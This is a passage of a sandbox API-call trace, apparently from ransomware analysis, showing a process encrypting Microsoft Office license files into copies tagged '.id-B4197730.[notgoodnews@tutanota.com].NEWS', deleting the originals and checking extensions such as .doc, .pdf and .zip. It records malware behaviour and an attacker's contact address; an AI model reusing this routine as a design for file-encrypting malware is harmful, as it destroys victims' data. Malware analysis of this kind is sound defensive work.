office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.303] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11594) returned 1 [0176.303] CloseHandle (hObject=0x474) returned 1 [0176.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220 [0176.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.303] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.303] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0176.348] GetLastError () returned 0x0 [0176.348] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d4a, lpOverlapped=0x0) returned 1 [0176.429] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0176.430] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.431] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10a, lpOverlapped=0x0) returned 1 [0176.431] SetEndOfFile (hFile=0x54c) returned 1 [0176.431] CloseHandle (hObject=0x54c) returned 1 [0176.431] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.431] SetEndOfFile (hFile=0x474) returned 1 [0176.437] CloseHandle (hObject=0x474) returned 1 [0176.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1 [0176.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.438] lstrlenW (lpString=".doc") returned 4 [0176.438] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.438] lstrlenW (lpString=".docx") returned 5 [0176.438] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.438] lstrlenW (lpString=".pdf") returned 4 [0176.438] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.438] lstrlenW (lpString=".xls") returned 4 [0176.438] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.438] lstrlenW (lpString=".xlsx") returned 5 [0176.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.438] lstrlenW (lpString=".ppt") returned 4 [0176.438] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.438] lstrlenW (lpString=".zip") returned 4 [0176.439] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString=".rar") returned 4 [0176.439] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString=".bz2") returned 4 [0176.439] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString=".7z") returned 3 [0176.439] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.439] lstrlenW (lpString=".dbf") returned 4 [0176.439] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.439] lstrlenW (lpString=".1cd") returned 4 [0176.439] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.439] lstrlenW (lpString=".jpg") returned 4 [0176.439] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.439] lstrlenW (lpString=".doc") returned 4 [0176.439] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString=".docx") returned 5 [0176.439] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.439] lstrlenW (lpString=".pdf") returned 4 [0176.439] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString=".xls") returned 4 [0176.439] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString=".xlsx") returned 5 [0176.439] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.439] lstrlenW (lpString=".ppt") returned 4 [0176.439] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.439] lstrlenW (lpString=".zip") returned 4 [0176.439] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.439] lstrlenW (lpString=".rar") returned 4 [0176.440] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.440] lstrlenW (lpString=".bz2") returned 4 [0176.440] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.440] lstrlenW (lpString=".7z") returned 3 [0176.440] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.440] lstrlenW (lpString=".dbf") returned 4 [0176.440] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.440] lstrlenW (lpString=".1cd") returned 4 [0176.440] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0176.440] lstrlenW (lpString=".jpg") returned 4 [0176.440] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.440] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.440] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27 [0176.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0176.445] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=20780) returned 1 [0176.445] CloseHandle (hObject=0x450) returned 1 [0176.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0176.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.616] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.616] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.694] GetLastError () returned 0x0 [0176.694] ReadFile (in: hFile=0x51c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x512c, lpOverlapped=0x0) returned 1 [0176.760] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x5130, lpOverlapped=0x0) returned 1 [0176.762] ReadFile (in: hFile=0x51c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.762] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10a, lpOverlapped=0x0) returned 1 [0176.762] SetEndOfFile (hFile=0x4e8) returned 1 [0176.762] CloseHandle (hObject=0x4e8) returned 1 [0176.762] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.762] SetEndOfFile (hFile=0x51c) returned 1 [0176.765] CloseHandle (hObject=0x51c) returned 1 [0176.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1 [0176.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.766] lstrlenW (lpString=".doc") returned 4 [0176.766] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.766] lstrlenW (lpString=".docx") returned 5 [0176.766] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.766] lstrlenW (lpString=".pdf") returned 4 [0176.766] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.766] lstrlenW (lpString=".xls") returned 4 [0176.766] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.766] lstrlenW (lpString=".xlsx") returned 5 [0176.766] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.766] lstrlenW (lpString=".ppt") returned 4 [0176.767] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.767] lstrlenW (lpString=".zip") returned 4 [0176.767] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.767] lstrlenW (lpString=".rar") returned 4 [0176.767] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.767] lstrlenW (lpString=".bz2") returned 4 [0176.767] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.767] lstrlenW (lpString=".7z") returned 3 [0176.767] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.767] lstrlenW (lpString=".dbf") returned 4 [0176.767] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.768] lstrlenW (lpString=".1cd") returned 4 [0176.768] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.768] lstrlenW (lpString=".jpg") returned 4 [0176.768] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.768] lstrlenW (lpString=".doc") returned 4 [0176.768] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString=".docx") returned 5 [0176.768] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.768] lstrlenW (lpString=".pdf") returned 4 [0176.768] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString=".xls") returned 4 [0176.768] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString=".xlsx") returned 5 [0176.768] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.768] lstrlenW (lpString=".ppt") returned 4 [0176.768] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.768] lstrlenW (lpString=".zip") returned 4 [0176.768] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString=".rar") returned 4 [0176.768] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString=".bz2") returned 4 [0176.768] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString=".7z") returned 3 [0176.768] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.768] lstrlenW (lpString=".dbf") returned 4 [0176.768] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.768] lstrlenW (lpString=".1cd") returned 4 [0176.768] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0176.769] lstrlenW (lpString=".jpg") returned 4 [0176.769] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.769] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.769] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28 [0176.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.769] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11579) returned 1 [0176.770] CloseHandle (hObject=0x51c) returned 1 [0176.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0176.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.770] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.770] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.771] GetLastError () returned 0x0 [0176.771] ReadFile (in: hFile=0x51c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d3b, lpOverlapped=0x0) returned 1 [0176.803] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0176.804] ReadFile (in: hFile=0x51c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.804] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10c, lpOverlapped=0x0) returned 1 [0176.805] SetEndOfFile (hFile=0x4e8) returned 1 [0176.824] CloseHandle (hObject=0x4e8) returned 1 [0176.825] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.825] SetEndOfFile (hFile=0x51c) returned 1 [0176.833] CloseHandle (hObject=0x51c) returned 1 [0176.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.783] lstrlenW (lpString=".doc") returned 4 [0177.783] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.783] lstrlenW (lpString=".docx") returned 5 [0177.783] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.783] lstrlenW (lpString=".pdf") returned 4 [0177.783] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.783] lstrlenW (lpString=".xls") returned 4 [0177.783] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.783] lstrlenW (lpString=".xlsx") returned 5 [0177.783] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.783] lstrlenW (lpString=".ppt") returned 4 [0177.784] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.784] lstrlenW (lpString=".zip") returned 4 [0177.784] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString=".rar") returned 4 [0177.784] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString=".bz2") returned 4 [0177.784] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString=".7z") returned 3 [0177.784] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.784] lstrlenW (lpString=".dbf") returned 4 [0177.784] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.784] lstrlenW (lpString=".1cd") returned 4 [0177.784] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.784] lstrlenW (lpString=".jpg") returned 4 [0177.784] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.784] lstrlenW (lpString=".doc") returned 4 [0177.784] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString=".docx") returned 5 [0177.784] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.784] lstrlenW (lpString=".pdf") returned 4 [0177.784] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString=".xls") returned 4 [0177.784] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.784] lstrlenW (lpString=".xlsx") returned 5 [0177.784] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.784] lstrlenW (lpString=".ppt") returned 4 [0177.785] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.785] lstrlenW (lpString=".zip") returned 4 [0177.785] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.785] lstrlenW (lpString=".rar") returned 4 [0177.785] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.785] lstrlenW (lpString=".bz2") returned 4 [0177.785] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.785] lstrlenW (lpString=".7z") returned 3 [0177.785] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.785] lstrlenW (lpString=".dbf") returned 4 [0177.785] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.785] lstrlenW (lpString=".1cd") returned 4 [0177.785] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0177.785] lstrlenW (lpString=".jpg") returned 4 [0177.785] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned 